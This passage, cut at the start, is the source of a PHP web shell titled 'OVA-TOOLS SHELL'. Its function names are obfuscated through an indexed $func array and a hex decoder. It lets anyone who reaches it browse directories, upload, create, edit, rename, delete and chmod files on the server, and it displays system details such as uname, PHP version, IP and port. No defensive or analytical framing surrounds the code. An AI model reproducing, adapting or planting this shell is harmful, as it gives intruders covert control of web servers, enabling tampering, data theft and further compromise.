= 1024) {
$size /= 1024;
$pos++;
}
return round($size, 2)." ".$a[$pos];
}
function hexa($str) {
$r = "";
$len = (strlen($str) - 1);
for ($i = 0; $i < $len; $i += 2) {
$r .= chr(hexdec($str[$i].$str[$i + 1]));
}
return $r;
}
function flash($message, $status, $class, $redirect = false) {
if (!empty($_SESSION["message"])) {
unset($_SESSION["message"]);
}
if (!empty($_SESSION["class"])) {
unset($_SESSION["class"]);
}
if (!empty($_SESSION["status"])) {
unset($_SESSION["status"]);
}
$_SESSION["message"] = $message;
$_SESSION["class"] = $class;
$_SESSION["status"] = $status;
if ($redirect) {
header('Location: ' . $redirect);
exit();
}
return $func[21];
}
function clear() {
if (!empty($_SESSION["message"])) {
unset($_SESSION["message"]);
}
if (!empty($_SESSION["class"])) {
unset($_SESSION["class"]);
}
if (!empty($_SESSION["status"])) {
unset($_SESSION["status"]);
}
return $func[21];
}
if (isset($_GET['dir'])) {
$path = $_GET['dir'];
$func[13]($_GET['dir']);
} else {
$path = $func[12]();
}
$path = $func[14]('\\', '/', $path);
$exdir = $func[15]('/', $path);
if (isset($_POST['newFolderName'])) {
if ($func[29]($path . '/' . $_POST['newFolderName'])) {
$func[16]("Create Folder Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Create Folder Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
if ($func[4]($_POST['newFileName'], $_POST['newFileContent'])) {
$func[16]("Create File Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Create File Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newName']) && isset($_GET['item'])) {
if ($_POST['newName'] == '') {
$func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
}
if ($func[30]($path. '/'. $_GET['item'], $_POST['newName'])) {
$func[16]("Rename Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Rename Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
if ($func[4]($path. '/'. $_GET['item'], $_POST['newContent'])) {
$func[16]("Edit Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Edit Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
if ($_POST['newPerm'] == '') {
$func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
}
if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
$func[16]("Change Permission Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Change Permission", "Failed", "error", "?dir=$path");
}
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
if (is_dir($_GET['item'])) {
if ($func[27]($_GET['item'])) {
$func[16]("Delete Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Delete Failed", "Failed", "error", "?dir=$path");
}
} else {
if ($func[28]($_GET['item'])) {
$func[16]("Delete Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Delete Failed", "Failed", "error", "?dir=$path");
}
}
}
if (isset($_FILES['uploadfile'])) {
if ($func[17]( $_FILES['uploadfile']['tmp_name'], $_FILES['uploadfile']['name'])) {
$func[16]("Upload Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Upload Failed", "Failed", "error", "?dir=$path");
}
}
$dirs = $func[18]($path);
?>
OVA-TOOLS SHELL
| Uname |
: = $func[0]() ?> |
| Software |
: = $_SERVER['SERVER_SOFTWARE'] ?> |
| PHP |
: = $func[3](); ?> |
| IP Server |
: = !@$_SERVER['SERVER_ADDR'] ? $func[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?> |
| Port |
: = $_SERVER['SERVER_NAME'] ?>:= $_SERVER['SERVER_PORT'] ?> |
| Mail |
: = ($func[26]('mail')) ? 'ON' : 'OFF' ?> |
| Name |
Type |
Size |
Permission |
Last Modified |
Actions |
|
= $dir ?>
= $dir ?>
= $dir ?>
|
= $func[8]($dir) ?> |
- |
= $func[11]($func[10]('%o', $func[6]($dir)), -4); ?> |
= $func[23]("Y-m-d h:i:s", $func[7]($dir)); ?> |
|
|
= $dir ?>
|
= ($func[25]('mime_content_type') ? $func[24]($dir) : $func[8]($dir)) ?> |
= $func[26]($dir) ?> |
= $func[11]($func[10]('%o', $func[6]($dir)), -4); ?> |
= $func[23]("Y-m-d h:i:s", $func[7]($dir)); ?> |
|